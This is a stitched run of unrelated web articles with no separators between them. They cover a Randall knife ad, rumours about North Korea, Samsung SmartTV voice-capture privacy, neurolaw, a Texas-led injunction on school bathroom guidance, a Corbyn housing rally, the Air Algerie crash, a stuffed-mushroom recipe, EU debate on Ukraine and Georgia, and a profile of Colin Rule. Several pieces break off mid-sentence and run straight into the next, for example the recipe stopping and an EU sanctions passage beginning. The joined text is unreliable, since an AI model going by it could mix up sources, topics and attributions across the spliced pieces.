“We’re going to have a very strange view of the early 21st century, and in some sense all sorts of details will be recorded, but some of the very important things will not be recorded,” says Kahle, who supports a more open access outlook on the web.
More and more data is born natively in a digital environment. If it isn’t saved by |
lover. And Go, Diego, Go's Diego? He works in the migrant rights movement, of course.
Check out all of the illustrations and awesomely radicalized cartoon fan fiction at McKenzie's blog, Black Girl Dangerous.
Image via Black Girl DangerousRandall Made Knife (1945): Here's an ad for a hand-made knife with a scimitar-shaped blade marketed as a fighting knife. Notice the long, curved end on the hilt telling you this knife was made to stab and slash. Randall didn't put a price on his handcrafted pieces, but he offered a manual for using the knife for 35 cents, the 40s version of an instructional DVD, I guess.
As for the Randall Made Knives company, it's still around and has been since 1937. The company took off during WWII after W.D. "Bo" Randall made a knife for a young sailor. His friends saw it and placed orders--a reporter got wind of it and wrote a story on him, and the rest is history. Bo's son, Gary, has run the company since Bo passed away in 1989.
As an extra tidbit of knowledge, according to the Randall Made Knives website, their Model17 "Astro" was designed for and carried by the seven Mercury astronauts on America's first manned space flights. Astronaut Gordon Cooper did the final design and two of these knives are on display at the Smithsonian.North Koreans live in an internet-free vacuum but western bloggers, intelligence agencies and 24-hour news are making up for it, says Anna Broinowski, whose book The Director is the Commander dispels some of the crazier rumours
If any country proves sensationalism beats truth in the social media economy, it’s North Korea. Sealed off from the outside world since 1953, the country’s 24.9 million people exist in an internet-free vacuum, which western bloggers, intelligence agencies and the 24-hour news cycle have been quick to fill.
Facts are notoriously difficult to verify. Credible accounts, such as the 2014 UN report on human rights abuses inside North Korean prisons, vie for eyeballs against the sensationalist claims of defectors, satirists, politically aligned “experts” and propaganda emanating from North Korea’s own news agency, KCNA.
Kim Jong-il: ten things you never knew Read more
The habits of former leader Kim Jong-il fuelled a rumour industry worth billions of clicks. A rapacious gourmand with insteps and Eraserhead hair, Dear Leader was both pop icon and ruthless dictator: as known for his love of Cognac and squadron of Joy Division babes as he was for the cunning nuclear brinksmanship with which he dissuaded the Bush administration from dispatching him the same way it had dispatched his “failed-state” colleague, Saddam Hussein.
Now, with Kim’s son Kim Jong-un in charge, the rumour business is booming. In the past three years, we’ve learned that Kim 2.0 executed a Pyongyang traffic lady for sneezing (false); was voted 2012’s “sexiest man alive” (false); poisoned his aunt Kim Kyong-hui (false); assassinated his pop-singer girlfriend Hyon Song-wol for making porn (false); and oversaw the Sony Pictures hack in retaliation for the Kim Jong-un assassination spoof, The Interview (debatable).
When he disappeared for a month in 2014, there was speculation he had been ousted by a coup (false); killed by his generals (false); contracted gout (who knows?); or broken his ankle after growing fat from eating cheese (he does appear to have gained weight).
The malleability of digital media, and the speed with which consumers can embed and reframe North Korean content before passing it on, means even truthful accounts of Kim Jong-un’s ruthless moves to shore up his inherited power are frequently embellished. When Kim executed his uncle, Jang Song-thaek, in late 2013 for insubordination, mainstream news feeds reported Jang and five aides had been stripped naked and fed to 120 starving dogs. The story went viral, before it was traced back to a Chinese satirist’s blog on Tencent Weibo.
Critical thinking just goes out the window on North Korea Chad O’Carroll, NK News
Only this month, South Korea’s national intelligence agency reported Kim had publicly obliterated another insider, general Hyon Yong-chol, with an anti-aircraft gun. The story was widely circulated before the agency adjusted its claim: Hyon had been “purged” for “dozing off” at official events, but might still be alive.
“Critical thinking just goes out the window on North Korea,” observed Chad O’Carroll, founder of the NK News website. David Straub of Stanford University identifies “an exponential increase” in the number of people circulating anything “even remotely plausible about North Korea” – and in established media passing it on. And with consumers happy to buy entertainment as news, “kooky North Korea” stories do a roaring trade.
Unicorn lair 'discovered' in North Korea Read more
KCNA’s 2012 announcement that archaeologists had discovered a unicorn lair in Pyongyang was gleefully circulated by western feeds, complete with a photoshopped horse. In 2014, the ABC on-sold Radio Free Asia’s claim that Kim Jong-un’s haircut is compulsory for Pyongyang university students; a year later, the blogosphere exploded with a recycled BBC report that long hair is banned in North Korea because it “saps brain energy”. The Toronto Sun’s craziest rumours about North Korea post alleges that North Korean Olympians who fail to win a medal are sent to the gulags, and Pyongyang officials supported Scottish independence “for the Scotch alone”.
Stories that discredit these rumours are rarely given the same fanfare or weight. The revelation that the YouTube documentary about the Pyongyang traffic lady is fake is buried in the comments page; Kim Jong-un’s pop-singer girlfriend’s appearance on KCNA a year after reports of her grisly murder failed to reach the same million consumers who believed her dead; North Korean gulag survivor Shin Dong-hyuk’s recent admission that parts of his bestselling memoir are false did little to dampen belief in its credibility; and in May, Seoul’s Daily NK ran a discreet post contradicting CNN’s widely publicised story about Kim Jong-un’s poisoned aunt, stating Kyong-hui is alive in Pyongyang.
The truth about North Korea is also a casualty when politics come into play. On 30 December 2014, when independent cyber analysts announced that disgruntled employees, not Kim Jong-un, were behind the Sony hack, the FBI had already found North Korea guilty. Senator John McCain labeled the hack an “act of war”; Sony released The Interview with President Obama’s blessing; North Korea’s limited internet capabilities were mysteriously “blacked out” in an unattributed strike; and, by 2 January 2015, the US had imposed new sanctions on North Korea and was considering reinstating it as a “state sponsor of terrorism”.
Facebook Twitter Pinterest Dead or alive: Kim Jong-un holding a baby with defence minister Hyon Yong-chol circled in the background, who has been reported executed. Photograph: YONHAP/AAP
Why does all this matter? Because if you have been to North Korea and spent time with the people who live and work there, the media’s relentlessly recycled picture of North Koreans as brainwashed automatons, robotically enslaved to the despotic Kims, is simplistic, dehumanising and cruel.
I went to North Korea twice in 2012: the only westerner granted total access to the country’s powerful propaganda film industry. Despite being closely monitored by five North Koreans on my crew, I can dispel some crazier rumours doing the rounds.
Do North Koreans know their country is the butt of so many jokes? Read more
Men are not forced to cut their hair like Kim Jong-un. Women can wear pants. It is safe to be a tourist, if you don’t hand out bibles. It is forbidden to film portraits of the Kims soft-focus or cropped. People like to dance in public, not just when told to by the state. The country is poor, but not everyone is starving or in chains: an estimated 100,000 North Koreans are imprisoned, with a further 8.3m lacking adequate food and shelter. The remaining 16.6m rely on a growing black market economy and lead “normal” enough lives to go to the movies.
Vice’s popular claim that North Korea no longer makes films is false: Pyongyang’s five studios produce 20 to 30 rom-coms, thrillers, dramas, animations and documentaries a year. The film stars, directors and writers I met had never heard of Stanley Kubrick, but loved Bend it Like Beckham, The Sound of Music and Avatar. Like their southern cousins, they were resilient, warm and loved telling jokes, mostly about the Russians and Chinese. Resentment towards Kim Jong-un was evident but concealed: criticising him can lead to the gulags.
My book about my experience featured Kim Jong-il on the cover – until my Pyongyang contact told me to remove him if I wanted my North Korean friends to survive. The Kims are considered too holy to physically depict on screen. A North Korean actor once had plastic surgery to portray founding founder Kim Il-sung in the drama, Star of Korea, then was permanently reassigned to a behind-the-scenes production role. Reports now assert the actor was sent to the gulags. With North Korea, the adage applies: never let the truth get in the way of a good story.Samsung's SmartTV won't watch viewers watching it back, but it will eavesdrop — a revelation one of Canada's most respected privacy advocates slammed as "unbelievably outrageous."
Former Ontario privacy commissioner Ann Cavoukian, who devised the "privacy by design" concept that's recognized worldwide as a basis for data protection, said Samsung's voice-controlled gadgets underscore the need to update Canada's regulations concerning Wi-Fi-enabled appliances.
Former Ontario privacy commissioner Ann Cavoukian devised the so-called 'privacy by default' standards that have been endorsed by the European Union and the U.S. Federal Trade Commission. (CBC)
"It's absolutely essential right now because we're falling behind," said Cavoukian, the current executive director of the Privacy and Big Data Institute at Ryerson University.
"With Samsung, it's like all of sudden you have to monitor what you should say in your home — the last bastion of privacy, a place that's supposed to be sacrosanct. Are you kidding me?"
Samsung promises that SmartTV viewers need only "speak into the new Smart Remote's built-in microphone" to command it to find a desired channel or film.
But as The Daily Beast first reported, one line buried in the South Korean company's privacy policy states that viewers should be aware that "personal or other sensitive" conversations "will be among the data captured and transmitted to a third party" through the voice-recognition technology.
Samsung caused a stir when reports surfaced that its SmartTV voice-command system might capture and send snippets of personal conversations to third parties. (Rick Wilking/Reuters)
That's a major overstep for privacy advocates, who point out that both U.S. and European Union regulators are already addressing concerns about the so-called internet of things — a term used to describe the growing constellation of wirelessly connected items.
IOT devices such as Samsung's SmartTV and LG's Smart ThinQ Refrigerator, which can send grocery lists to phones or warn consumers about expiration dates, are an exploding tech trend.
The market is projected to hit $7.1 trillion by 2020, according to the IT research agency IDC.
If it's going to be collecting everything you say in your living room, that kind of security vulnerability is a real problem. - Parker Higgins, activist with the Electronic Frontier Foundation
"IOT isn't a fringe thing for a handful of geeks. It's something that's now going to be in your life, and security isn't always up to scratch," says Electronic Frontier Foundation activist Parker Higgins.
Higgins notes that a 12-year-old hacker last year "collected a bounty" from a smart TV manufacturer by finding and reporting a security bug.
In 2013, LG Electronics Inc. confirmed some of its smart TVs were sending information about viewing habits without consumers' consent, and vowed to fix the problem.
"If it's going to be collecting everything you say in your living room, that kind of security vulnerability is a real problem," Higgins said.'
Privacy by design
Last month, the U.S. Federal Trade Commission outlined its internet privacy concerns, which follows on the heels of the EU's data-protection Working Party report late last year.
Both groups encouraged adopting Cavoukian's privacy-by-design principles, in which privacy measures are "baked in" to the technology from the get-go.
St. John's lawyer Mandy Woodland, who specializes on technology and privacy matters and speaks about the internet of things, said she would like to see better enforcement tools in place to ensure manufacturers of smart devices comply with updated privacy legislation. (CBC)
"Europe is ahead, and I applaud the FTC for taking a position that's strong, bold, and exactly what is needed here," Cavoukian said.
Canada has not yet announced its policy, though that may change this year, according to the federal privacy commissioner's office.
"I can tell you that our office is currently looking at the privacy issues that can arise from increasingly smart devices, or the internet of things," spokesperson Valerie Lawton said. "We expect to publish a series of research papers later this year."
Better enforcement
That report, Lawton said, could also "inform our advice to Parliament" on future policy and compliance activities.
Canada has a general Personal Information Protection and Electronic Documents Act, which lays out ground rules for how companies can collect, use or disclose personal information for commercial activities.
Organizations would have to explain why they're collecting personal information before or at the time of the collection, obtain informed consent and limit the amount and type of data they gather.
But Mandy Woodland, a technology and privacy lawyer in St. John's, NL, wants to see legislation upgraded before the smart electronics revolution outpaces Canada's laws.
"Privacy by design is a worldwide concept that's happily invented in Canada, so it would be wonderful to have," she said.
"I'd love it if there were better ways of enforcement [and] a better mechanism by which the government could push compliance to particular manufacturers."
Baby monitors
Among the concerns being raised are the potential consequences in bringing home something as seemingly innocuous as a Wi-Fi-enabled baby monitor.
Woodland referred to a Forbes magazine report that said "people would hack into these Foscam baby monitors, and someone would find an individual had hacked it and was screaming obscenities at their baby, which is quite scary."
Samsung is saying that if they don't like it, they can disconnect. How absurd. It's so unbelievably outrageous. - Ann Cavoukian, executive director Ryerson University's Privacy and Big Data Institute
Woodland also worries that smart TVs or other appliances that potentially collect information about patterns of behaviour, such as a smart fridge that logs how much beer someone buys, could end up reporting that information to insurance firms.
Although Samsung sent a statement reminding users that SmartTV's voice-command feature can be deactivated, Cavoukian takes issue with the "listening" mode being a default.
Researchers have found that "80 per cent of the time, people will leave it on the default setting" simply because few consumers would read the fine print to learn whether they should opt out, she says.
"Samsung is saying that if they don't like it, they can disconnect. How absurd. It's so unbelievably outrageous," Cavoukian said.
"People expect to guide channels on TV with their voice. What they don't expect is a stupid device that can potentially capture all their conversations. Really, who would even think that?"Could mental impairment compel you to commit a crime? And if it could, would you then be responsible for your actions? 'Neurolaw' raises complex questions about the nature of guilt, free will and culpability. Lynne Malcolm and Olivia Willis report.
On 1 August 1966, 25-year-old engineering student Charles Whitman barricaded himself in the top of the clock tower at the University of Texas and began shooting.
He killed 14 people at random.
Behaviour is doing all the work for law. Neuroscience is nothing more than a handmaiden at present. Stephen Morse, professor of law and psychiatry, University of Pennsylvania
Earlier in the day, the former US Marine had shot and killed his wife and his mother.
In the weeks and months leading up to the mass murder, Whitman complained of headaches, 'irrational thoughts' and'mental turmoil'.
The year before, he had begun a diary detailing his altered mental state: something inside him was changing, and he was subject to an extreme anger he had never felt before.
In Whitman's suicide note he asked that an autopsy be performed on his brain. Forensic pathologists found a brain tumour, which was thought to have affected his ability to regulate emotion.
Whitman's case was an unusual one, but it raised thorny questions about the nature of guilt, free will and criminal responsibility.
Was Whitman to blame for feelings and behaviours he seemingly couldn't control?
Half a century later, these same questions are being raised within the emerging field of neurolaw.
An intersection of law and science, neurolaw involves the use of brain imaging and other neuroscientific techniques to determine the biological causes—or 'neural correlates'—of judgement and decision making.
Neurolaw is predominantly used to mitigate criminal sentencing, but has the potential to improve the effectiveness of rehabilitation and incarceration.
In response to the growth of neurolaw in Australian and US courts, Macquarie University's Centre for Agency, Values and Ethics joined forces with the University of Sydney to launch the Australian Neurolaw Database.
'With the increasing number of cases, we thought it would be good to see what's happening in the Australian context, good to have a look at the various kinds of predictions that have been made about the capacity of neuroscience to change the basis of the law,' says Professor Jeanette Kennett from Macquarie University.
The database, a publicly available collection of all Australian cases involving neuroscientific evidence, is being used to examine the extent to which these 'brain-based arguments' are changing the way we think about guilt and retribution.
'Evidence that is looking directly at the person's brain has been thought by some people, some philosophers, to pose a challenge to the very way the law operates, so that it wouldn't just provide evidence of exceptional circumstances, but by looking into the black box of the mind, it would be able to show that all of our actions are caused by brain mechanisms and prior events outside of our control.'
If this were the case, neuroscience 'would undermine the whole notion of responsibility, and undermine the attributive basis of the law', according to Kennett.
While a number of cases in the database demonstrate the ethical and legal significance of brain-based evidence, it appears judges are still taking a reasonably cautious approach—traditional evidence remains the gold standard.
Stephen Morse, a professor of law and psychiatry at the University of Pennsylvania, says neuroscientific evidence is, at present, only really used to 'confirm what we already know behaviourally'.
'The United States Supreme Court from 2005 through 2012 decided three cases having to do with whether or not juveniles should be treated differently from adults for purposes of punishment under the Constitution of the United States.
'The real question in each of these cases was: are juveniles, on average, less criminally responsible than adults? The criteria for responsibility are things having to do with intention or rationality, or the ability to control yourself. Those are all behavioural questions.'
When seeking scientific evidence to substantiate the claim that teenagers are less criminally responsible than adults, Morse says neuroimaging confirmed what commonsense has always suggested: adolescents' brains are less mature than the brains of people in mid-twenties and onwards.
'Advocates for juveniles tried to introduce that evidence in the arguments in the Supreme Court. In one of the cases of the three, the Supreme Court didn't cite it. In the other two, they did, in a very general way. But even then the evidence from neuroscience was simply additive and confirmatory of what we already knew behaviourally. '
Morse says questions of neurolaw become increasingly complex when behavioural evidence and neuroscientific evidence are at odds with each other.
'Since the law's criteria are, roughly speaking, behavioural, we always have to believe the behavioural evidence because it's much more directly relevant.'
Morse says neuroscience remains limited in its ability to impact legal proceedings because of the difficulty that arises when attempting to translate a mechanical science into the 'psychology of the law'.
'The whole connectome doesn't have reasons, it doesn't have a sense of past, present, future, it doesn't care about things, it doesn't know that it's going to die. These are all properties of people, acting human beings. Until neuroscience can translate into that kind of psychology, it's going to have limited value for the law.'
In the case of Charles Whitman, Morse says whatever the reason for his mental deterioration, there's one question that remains paramount: Did this person, at the time of the crime, suffer from diminished rationality?
'If the answer is yes, [the person] deserves some kind of mitigation, or perhaps full excuse.'
According to Morse, society has recognised for thousands of years that people with major mental disorders may not be fully responsible for themselves or their actions.
'Previously, when we didn't have the technology, we might never know what the reason was. But we'd still recognise that they suffered from diminished rationality.
'If someone has a broken brain but they behave rationally, for legal purposes they are rational.
'If they have an absolutely normal-looking brain but they clearly are suffering from a rationality problem, no question of malingering, then they are irrational for legal purposes.
'Behaviour is doing all the work for law. Neuroscience is nothing more than a handmaiden at present.'
Read more: Mental illness and the criminal justice system
Morse doubts the ability of neurolaw to fundamentally change the legal system.
'Ultimately I think neuroscience is going to hit a wall, as it were, where there is only so much progress we can make, especially dealing with human behaviour which is so infinitely complex and is dependent on so many variables.'
He does believe that neuroscientific evidence could be a 'less expensive, more efficient proxy' for collecting behavioural evidence, though.
'I think neuroscience might make modest contributions to legal doctrine, practice and policy, but it's not going to revolutionise law.'
Jeanette Kennett is more optimistic, and believes neuroscience could challenge the idea of retribution.
'I think we live in a very retributive society. I think it would be perhaps good if we became a little calmer about criminal offending and really started to think about the causes of criminal offending that are outside the criminal's control.'
Kennett says brain-based evidence could also help law enforcement monitor the effects of a rehabilitation and imprisonment on an individual.
'Think about people who undergo sex offender programs in jail. Maybe you might see a difference, and that might assist them in parole applications. Or, it might assist people if we are thinking, "Do we need to detain them at the end of their sentence, are they still a danger to the community?"
'Perhaps if we became more aware of all of the things that affect criminal offending, then we might start to think that it's just as important to fix the environment as to fix the offender.'
Hear the full story Sunday 10 April 2016 Can problems in your brain make you commit a crime? More This [series episode segment] has image, and transcript
Subscribe to All in the Mind on iTunes, ABC Radio or your favourite podcasting app.As reported by Breitbart Texas, the injunction was issued on August 21. On September 16, the federal government filed a Motion for Clarification.
The judge issued the order on October 19 after the Court conducted a hearing on September 30 to clarify the Court’s preliminary injunction in the case. One of the questions posed to the Court, was the geographic scope of the Court’s preliminary injunction.
The injunction blocks the federal government from, in the words of the Office of the Texas Attorney General, “using the guidelines, or asserting that the guidelines carry any weight.” The Court also stated that the “injunction is limited to the issue of access to intimate facilities.” It applies throughout the country.
A question that remains unanswered, and the judge asked for legal briefing on the issue, is whether the injunction applies to Title VII investigations, in particular as it applies to workplaces where school teachers or staff use the same intimate facilities as the students. The judge said in his latest Order that “Defendants’ core missions to combat discrimination based on race, national origin, or disability, and the EEOC’s (Equal Employment Opportunity Commission) statutory duties are not otherwise affected by the preliminary injunction.”
Title VII of the Civil Rights Act of 1964 prohibits discrimination in the workplace based on sex. Title IX protects people from discrimination based on sex in education programs or activities. The law applies to those schools and institutions, including local school districts, 7,000 post-secondary institutions, charter schools, for-profit schools, libraries, and museums, that receive federal financial assistance. Title IX provides that: “No person in the United States shall, on the basis of sex, be excluded from participation in, be denied the benefits of, or be subjected to discrimination under any education program or activity receiving Federal financial assistance.”
The conflict began when on May 13, the Department of Education (DOE) Assistant Secretary for Civil Rights, and the Department of Justice (DOJ) Principal Deputy Assistant Attorney General for Civil Rights, sent a “Dear Colleague Letter on Transgender Students” to state and local agencies that receive federal financial assistance from the DOE. The Office of Civil Rights in the DOE joined with the DOJ and sent a letter which they represented should serve as “significant guidance” to school districts.
As reported by Breitbart Texas, the Texas Attorney General sued the U.S. Department of Education, the U.S. Department of Justice, and other federal agencies and officials for commanding that Texas public schools open restrooms and locker rooms to both sexes.
Texas Attorney General Ken Paxton represents a 13-state coalition in the federal lawsuit in the Northern District of Texas. Texas and the other states that joined the Lone Star State are challenging the Obama Administration’s directive forcing local schools to allow students to use whatever bathrooms and other intimate facilities they wish that are consistent with their gender self-concept on a given day. Obama’s gender-fluid policy directed schools to abide by the policy without allowing local educators to decide what is best for their school and community.
The State of Texas is defending a local school district whose school policies are in conflict with the Obama Administration directive, the Harrold Independent School District. Harrold, Texas, is located in Wilbarger County and borders Oklahoma.
Attorney General Paxton released the following statement after the most recent favorable ruling for the Texas-led coalition:
“I am proud to lead a coalition of 13 states against the Obama Administration’s latest illegal federal overreach. The court’s reaffirmation of a nationwide injunction should send a clear message to the president that Texas won’t sit idly by as he continues to ignore the Constitution. The president cannot rewrite the laws enacted by the elected representatives of the people and then threaten to take away funding from schools to force them to fall in line.”
The parties were “Ordered to brief the remaining issues of whether the Defendants’ Guidelines are enjoined in total or whether the principal of severability applies to them, whether the injunction implicates Title VII in any manner (and specifically where school employees and staff may share intimate facilities with students), and whether OSHA (Occupational Safety and Health Administration) or DOL (Department of Labor) activity is implicated by the injunction.”
The plaintiffs were given a deadline of October 24 to respond and defendants must reply by October 28.
Lana Shadwick is a contributing writer and legal analyst for Breitbart Texas. She has served as a prosecutor and associate judge in Texas. Follow her on Twitter @LanaShadwick2.
Order_10-18-16Jeremy Corbyn is hitting the Home Counties with a promise to tackle the housing crisis as he continues his blitz of marginal parliamentary seats.
The Labour leader is campaigning to unseat Tory MPs with slim majorities in Reading and Milton Keynes under a plan to keep his party on a general election footing.
Mr Corbyn will highlight rocketing house prices and attack the Government for “giving tax breaks to the wealthy”.
I met Carol who had to move home because of #BedroomTax – which Labour will scrap, but now faces fuel poverty due to rising energy costs. pic.twitter.com/WcqeLcQ6fJ — Jeremy Corbyn (@jeremycorbyn) August 14, 2017
At a rally in Milton Keynes, he is expected to say: “The Conservative Government has spent seven years giving tax breaks to the wealthy, who don’t need them, while making it harder for most people in our country to make ends meet.
“Here in Milton Keynes, like so many towns and cities across the country, the cost of housing is sky-rocketing – house prices have gone up 50% in five years.
“The next Labour government will tackle the housing crisis.
“We will create a new Department for Housing and build 100,000 homes a year by the end of the next Parliament.
.@Launchpad_RDG staff say cost of renting is main cause of homelessness. We'll set up a Department for Housing to build homes for the many. pic.twitter.com/wXnteeJQ8o — Jeremy Corbyn (@jeremycorbyn) August 14, 2017
“Housing should be about homes for the many, not investment opportunities for the few.
“Commuters from Milton Keynes to London have seen rail fares increasing faster than their wages year in, year out.
“Labour will bring down fares by returning our rail system to public ownership, putting more money in people’s pockets and making sure our railways are run in the interests of people, not profit.
“The Government has no plan to help people struggling to get by.
I'm in Milton Keynes where house prices have gone up 50% in 5 years. We'll end housing crisis here & across Britain. https://t.co/Z55V0S4CMX — Jeremy Corbyn (@jeremycorbyn) August 14, 2017
“The price of everyday goods keeps going up faster than wages.
“Labour will introduce a real living wage of £10 an hour, scrap the public sector pay cap and take action to reduce utility bills through bringing public services back into public hands, to keep household costs down.
“Labour is campaigning right across our country this summer, putting forward our plan for a country that works for the many not the few.”
The Conservatives held Reading West with a majority of 2,876 and Milton Keynes North with 1,915 votes.ALGIERS (Reuters) - An Air Algerie flight with 110 passengers onboard, nearly half of them French citizens, crashed on Thursday after the jet disappeared over northern Mali en route from Burkina Faso to Algiers, an Algerian official said.
A relative of Lebanese national Manji Hasan holds up his mobile phone displaying a picture of Manji and his children, who the family said were all on board Air Algerie flight AH 5017, in the southern Lebanese village of Hariss July 24, 2014. REUTERS/Ali Hashisho
There were few clear indications of what might have happened to flight AH5017, or whether there were casualties, but Burkina Faso’s transport minister said the crew asked to adjust their route at 0138 GMT because of a storm in the area.
“I can confirm that it has crashed,” the Algerian official told Reuters, declining to be identified or give any details about what had happened to the aircraft on its way north.
French Foreign Minister Laurent Fabius said the Air Algerie flight was still missing, but had probably crashed.
“Despite intensive search efforts no trace of the aircraft has yet been found,” Fabius told journalists in Paris. “The plane probably crashed.”
French President Francois Hollande cancelled a planned visit to overseas territories and said all military means on the ground would be used to locate the aircraft.
Two French Mirage warplanes have been scouring the vast desert area around the northern Malian city of Gao for the aircraft, which had 51 French nationals on board.
“The search will take as long as needed,” Hollande told reporters. “Everything must be done to find this plane. We cannot identify the causes of what happened,” he said.
Niger security sources said planes were flying over the border region with Mali to search for the flight.
Two Mali-based diplomats said in addition to the area around Gao, where the plane is believed to have last been in contact with authorities, searcher were also scouring the rugged region around Aguelhoc towards the Algerian borders.
An aid worker in Mali who asked not to be named said his organisation had received several calls from residents based in the villages of Tessalit and Tinzawaten in the northeastern region of Kidal after hearing a loud explosion.
It was not immediately clear if this was linked to the crash.
But searching in northern Mali will be complex task.
The area where the flight is suspected to have crashed is a vast, sparsely inhabited region of scrubland and desert dunes stretching to the foothills of the Adrar des Ifoghas mountains.
It is a stronghold of Tuareg separatist rebels, who rose up against the government in early 2012, triggering an Islamist revolt that briefly seized control of northern Mali.
Security sources said the French military was leading the search in the difficult terrain. The Malian government, which is holding talks with the separatists in neighbouring Algeria, has only a weak presence in the region and relies on French and U.N. peacekeepers for aircraft and logistical support.
Whatever the cause, another plane crash is likely to add to nerves over flying after a Malaysia Airlines plane was downed over Ukraine last week, a TransAsia Airways crashed off Taiwan during a thunderstorm on Wednesday and airlines temporarily cancelled flights into Tel Aviv due to the conflict in Gaza.
FRENCH PASSENGERS
Algeria’s state news agency APS said authorities lost contact with flight an hour after it took off from Burkina Faso, but other officials gave differing accounts of the times of contact, adding to confusion about the plane’s fate.
Swiftair, the private Spanish company that owns the plane, confirmed it had lost contact with the MD-83 operated by Air Algerie, which it said was carrying 110 passengers and six crew.
It said it took off from Burkina Faso at 0117 GMT and was due to land at 0510 GMT but never reached its destination.
An Algerian aviation official said the last contact Algerian authorities had with the missing Air Algerie aircraft was at 0155 GMT when it was flying over Gao, Mali.
Burkina Faso officials said the flight asked the control centre in Niamey, Niger, to change route at 0138 GMT because of a storm in the Sahara.
An Air Algerie representative in Burkina Faso, Kara Terki, told a news conference that all the passengers on the plane were in transit, either for Europe, the Middle East or Canada.
Burkina Faso authorities said the passenger list comprised 27 Burkinabe, 51 French, eight Lebanese, six Algerians, two from Luxembourg, five Canadians, four Germans, one Cameroonian, one Belgian, one Egyptian, one Ukranian, one Swiss, one Nigerian and one Malian.
The Lebanese Foreign Ministry said its embassy in Abidjan estimated the number of Lebanese citizens on the flight was at least 20. Some of these may have dual nationality.
A spokeswoman for SEPLA, Spain’s pilots union, said the six crew were from Spain. She could not give any further details.
The MD-83 is part of the McDonnell Douglas MD-80 family of twin-engined jets that entered service in 1980. A total of 265 of the MD-83 model were delivered before McDonnell Douglas, by then part of Boeing, halted production in 1999.
“Boeing is aware of the report. We are awaiting additional information,” a spokesman for the U.S. planemaker said.
According to the Ascend Fleets database held by British-based Flightglobal, there are 187 MD-83s still in operation, of which 80 percent are being flown in the United States.
An Air Algerie Airways plane prepares to land at Houari Boumediene Airport in Algiers July 24, 2014. REUTERS/Louafi Larbi
The aircraft’s two engines are made by Pratt & Whitney, a unit of United Technologies.
Swiftair has a relatively clean safety record, with five accidents since 1977, two of which caused a total of eight deaths, according to the Washington-based Flight Safety Foundation.
Air Algerie’s last major accident was in 2003 when one of its planes crashed shortly after take-off from the southern city of Tamanrasset, killing 102 people. In February this year, 77 people died when an Algerian military transport plane crashed into a mountain in eastern Algeria.Depending on how you look at it, the weekend can be the hardest time or the most fun time for someone who enjoys clean eating.
It can be difficult because the weekend usually means less structure, more social time and the impulse to eat out or go for ice cream just because. It can be more fun because you can take time to experiment in the kitchen and really come up with some tasty meals that will wow the pants off of your tastebuds.
Here at FitnessHQ, we spend a lot of time in the test kitchen trying to come up with not only quick and easy healthy meals for you, but also fun and innovative recipes that you’ve never seen before. This recipe is a result of one of those test kitchen jam sessions, so we hope you enjoy it this weekend! Believe us when we say it’s definitely better than a late night ice cream, or at least almost!
Magic Italian Stuffed Mushrooms with Salsa
I love stuffed mushrooms. Like, LOVE. So, when I decided to start taking my health a little bit more seriously, I of course had to find some alternatives to what was once my favorite restaurant appetizer. The great thing about mushrooms is that you can stuff them with pretty much whatever (within reason) and it’s going to taste amazing. However, this combination is definitely a big winner at our house!
Ingredients
3 Portabella Mushroom Caps
1 Pound of Ground Pork
1/2 Box of Frozen Spinach
2 Cloves of Garlic
1 Tablespoon of Ghee
1 Teaspoon of Fresh Basil
1 Teaspoon of Oregano
1/4 Teaspoon of Thyme
1/2 Teaspoon of Rosemary
1/2 Cup of Your Favorite Salsa
Directions
Preheat your oven to 375 degrees F. Heat your ghee in a skillet before adding ground pork. Cook the pork for five to ten minutes or until it’s brown |
sanctions against Russia would continue until then. Petras Auštrevičius, a Lithuanian member of the ALDE group, said: “We should do everything to prevent this war turning into a frozen conflict."
Some, however, questioned the viability of the Minsk agreement: Rebecca Harms, a German member of the Greens, called for its re-assessment: “We are no closer to achieving that Ukraine has control of its borders."
Committee members agreed to initiate a Parliament resolution on the latest developments in Ukraine.
Georgia
Natalie Sabanadze, Georgian's ambassador to the EU, discussed Moscow's approach to neighbouring countries: “Russia’s attitude to the Southern Caucasus and the neighbourhood is rooted in a very specific understanding of international system as an area of hostile international competition where its neighbourhood should fulfil the function of a buffer zone.” However, she stressed her country’s will to decide alone over its strategic orientation: “Georgia wants to do so not against Russia, but for Georgia.”
The European Parliament recognised Georgian reforms and its pro-European orientation when MEPs approved last week a visa waiver for Georgians so that they are able to enter the EU for short stays without needing a visa.
Strategy
During the meeting many discussed the implications of US president Donald Trump's stance on Russia. Herbert Salber, the EU's special representative for the South Caucasus and for the crisis in Georgia, alluded to possible division of zones of interests in the region. “There is a lot of tension and a big elephant in the room,” he said, "But at this point we simply do not know."
According to a Parliament study, Russia is ready to assert its role as a global centre of influence. The West, including the EU, is perceived as the major challenger to both Russia’s great power ambition and security.
Against this backdrop, the military and humanitarian situation in Crimea and eastern Ukraine will continue to be monitored closely. The EU's economic sanctions against Russia, first introduced in July 2014, are due to be extended again in June and December of this year. Meanwhile France and Germany - the two EU countries involved in negotiating the Minsk agreement - face elections in 2017 and the results could affect their policies towards Russia and the broader EU strategy.Colin Rule on Online Dispute Resolution - Video
This is Colin Rule's excellent six minute presentation on Online Dispute Resolution from the Reinvent Law Channel. Colin is former director of online dispute resolution at eBay - Pay Pal.
Colin Rule is Vice President for Online Dispute Resolution at Tyler Technologies. Tyler acquired Modria.com, an ODR provider Colin co-founded, in 2017. From 2003 to 2011 Colin was Director of Online Dispute Resolution for eBay and PayPal. He has worked in the dispute resolution field for more than 25 years as a mediator, trainer, and consultant. He is currently Co-Chair of the Advisory Board of the National Center for Technology and Dispute Resolution at UMass-Amherst and a Non-Resident Fellow at the Gould Center for Conflict Resolution at Stanford Law School.
Colin co-founded Online Resolution, one of the first online dispute resolution (ODR) providers, in 1999 and served as its CEO (2000) and President. In 2002 Colin co-founded the Online Public Disputes Project (now eDeliberation.com) which applies ODR to multiparty, public disputes. Previously, Colin was General Manager of Mediate.com, the largest online resource for the dispute resolution field. Colin also worked for several years with the National Institute for Dispute Resolution (now ACR) in Washington, D.C. and the Consensus Building Institute in Cambridge, MA.
Colin has presented and trained throughout Europe and North America for organizations including the Federal Mediation and Conciliation Service, the Department of State, the International Chamber of Commerce, and the CPR Institute for Dispute Resolution. He has also lectured and taught at UMass-Amherst, Harvard, Yale, Stanford, Pepperdine, Southern Methodist University, and Santa Clara University.
